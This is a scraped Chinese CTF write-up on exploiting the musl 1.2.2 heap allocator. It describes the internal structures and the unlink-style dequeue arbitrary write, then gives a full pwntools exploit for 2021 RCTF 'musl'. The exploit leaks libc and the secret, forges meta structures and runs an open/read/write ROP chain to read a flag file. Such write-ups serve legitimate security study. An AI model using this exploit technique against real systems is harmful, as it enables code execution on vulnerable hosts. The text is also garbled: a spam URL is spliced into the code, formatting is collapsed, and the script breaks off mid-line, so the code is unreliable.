1.2.2 musl pwn

1.2.2 musl pwn几个结构__malloc_context(与glibc中的main_arena类似)struct malloc_context {uint64_t secret;#ifndef PAGESIZEsize_t pagesize;#endifint init_done;unsigned mmap_counter;struct meta *free_meta_head;struct meta *avail_meta;size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;struct meta_area *meta_area_head, *meta_area_tail;unsigned char *avail_meta_areas;struct meta *active[48];size_t usage_by_class[48];uint8_t unmap_seq[32], bounces[32];uint8_t seq;uintptr_t brk;};active 与glibc中的bins类似 , 并且有自己独特的方法来计算chunk的大小)const uint16_t size_classes[] = {1, 2, 3, 4, 5, 6, 7, 8,9, 10, 12, 15,18, 20, 25, 31,36, 42, 50, 63,72, 84, 102, 127,146, 170, 204, 255,292, 340, 409, 511,584, 682, 818, 1023,1169, 1364, 1637, 2047,2340, 2730, 3276, 4095,4680, 5460, 6552, 8191,};#define IB 4static inline int a_ctz_32(uint32_t x){#ifdef a_clz_32return 31-a_clz_32(x&-x);#elsestatic const char debruijn32[32] = {0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14};return debruijn32[(x&-x)*0x076be629 >> 27];#endif}static inline int a_clz_32(uint32_t x){x >>= 1;x |= x >> 1;x |= x >> 2;x |= x >> 4;x |= x >> 8;x |= x >> 16;x++;return 31-a_ctz_32(x);}static inline int size_to_class(size_t n){n = (n+IB-1)>>4;if (n<10) return n;n++;int i = (28-a_clz_32(n))*4 + 8;if (n>size_classes[i+1]) i+=2;if (n>size_classes[i]) i++;return i;}metastruct meta {struct meta *prev, *next; // meta是一个双向链表struct group *mem;volatile int avail_mask, freed_mask;uintptr_t last_idx:5;uintptr_t freeable:1;uintptr_t sizeclass:6;uintptr_t maplen:8*sizeof(uintptr_t)-12;};meta_arenastruct meta_area { uint64_t check; struct meta_area *next; int nslots; struct meta slots[];};group#define UNIT 16#define IB 4struct group {struct meta *meta;unsigned char active_idx:5;char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10Bunsigned char storage[];// chunks};chunkstruct chunk{ char prev_user_data[];uint8_t idx;//低5bit为idx第几个chunkuint16_t offset; //与第一个chunk起始地址的偏移 , 实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!char data[];};漏洞点static inline void dequeue(struct meta **phead, struct meta *m){ if (m->next != m) {m->prev->next = m->next;m->next->prev = m->prev;if (*phead == m) *phead = m->next; } else {*phead = 0; } m->prev = m->next = 0;}源码里有一个与unsafe unlink类似的地方 , 可以实现任意地址写 。
绕过检查给一个绕过检查 , 伪造meta的示例
# fake_meta_areapayload+= p64(secret) + p64(0)# fake_metapayload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev nextpayload+= p64(fake_group) # mempayload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0maplen = 1freeable = 1sizeclass = 1last_idx = 6last_value = https://www.huyubaike.com/biancheng/last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)payload+= p64(last_value)+p64(0)add(index, 0x1500, payload)例题 2021RCTF-musl本题的漏洞点是 , 在申请大小为0时 , 会导致一个堆溢出的出现 。利用这个泄露出 , libc和secret , 即可伪造meta_area及meta
from pwn import*context(os='linux',arch='amd64',log_level='debug')s = process('./r')def add(index,size,content): s.sendlineafter(b'>>', b'1') s.sendlineafter(b'idx?\n', str(index)) s.sendlineafter(b'size?\n', str(size)) s.sendafter(b'Contnet?\n', content)def delete(index): s.sendlineafter(b'>>', b'2') s.sendlineafter(b'idx?\n', str(index))def show(index): s.sendlineafter(b'>>', b'3') s.sendlineafter(b'idx?\n', str(index))for i in range(15): add(i, 1, "")delete(0)add(0, 0, b'a'*0xF+b'\n')show(0)libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x298d50__stdout_used_ptr = libc_base + 0x295450__malloc_context = libc_base + 0x295ae0magic_gadget = libc_base + 0x000000000004a5ae #mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];pop_rdi_ret = libc_base + 0x0000000000014b82pop_rsi_ret = libc_base + 0x000000000001b27apop_rdx_ret = libc_base + 0x0000000000009328pop_rax_ret = libc_base + 0x000000000001b8fdsyscall_ret = libc_base + 0x0000000000023711ret = libc_base + 0x0000000000000598success('[+]libc_base=>' + hex(libc_base))delete(2)add(2, 0, b'a'*0x10+ p64(__malloc_context)+b'\n')show(3)s.recvuntil(b'Content: ')secret = u64(s.recv(8))success('[+]secret=>' + hex(secret))chunk_addr = libc_base + 0x290020fake__stdout_used = chunk_addr + 0x30fake_group = libc_base + 0x298dd0payload = p64(libc_base + 0x291010) # fake group->metapayload+= p64(0x000c0c000000000b)payload+= p64(libc_base + 0x298df0) + b'\x00'*5 + p8(0) + p16(1)payload+= b'\n'delete(5)add(5, 0, payload)gdb.attach(s)pause()payload = b'./ctf/flag\x00'payload = payload.ljust(0x30,b'\x00')payload+= b'\x00'*0x30+p64(chunk_addr + 0x100)payload+= p64(ret)payload+= p64(0) + p64(magic_gadget) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]payload = payload.ljust(0x100,b'\x00')payload+= p64(pop_rdi_ret) + p64(chunk_addr)payload+= p64(pop_rsi_ret) + p64(0)payload+= p64(pop_rdx_ret) + p64(0)payload+= p64(pop_rax_ret) + p64(2)payload+= p64(syscall_ret)payload+= p64(pop_rdi_ret) + p64(3)payload+= p64(pop_rsi_ret) + p64(chunk_addr)payload+= p64(pop_rdx_ret) + p64(0x100)payload+= p64(pop_rax_ret) + p64(0)payload+= p64(syscall_ret)payload+= p64(pop_rdi_ret) + p64(1)payload+= p64(pop_rsi_ret) + p64(chunk_addr)payload+= p64(pop_rdx_ret) + p64(0x100)payload+= p64(pop_rax_ret) + p64(1)payload+= p64(syscall_ret)payload = payload.ljust(0x1000-0x20, b'\x00')# fake_meta_areapayload+= p64(secret) + p64(0)# fake_metapayload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev nextpayload+= p64(fake_group) # mempayload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0maplen = 1freeable = 1sizeclass = 1last_idx = 6last_value = https://www.huyubaike.com/biancheng/last_idx | (freeable

经验总结扩展阅读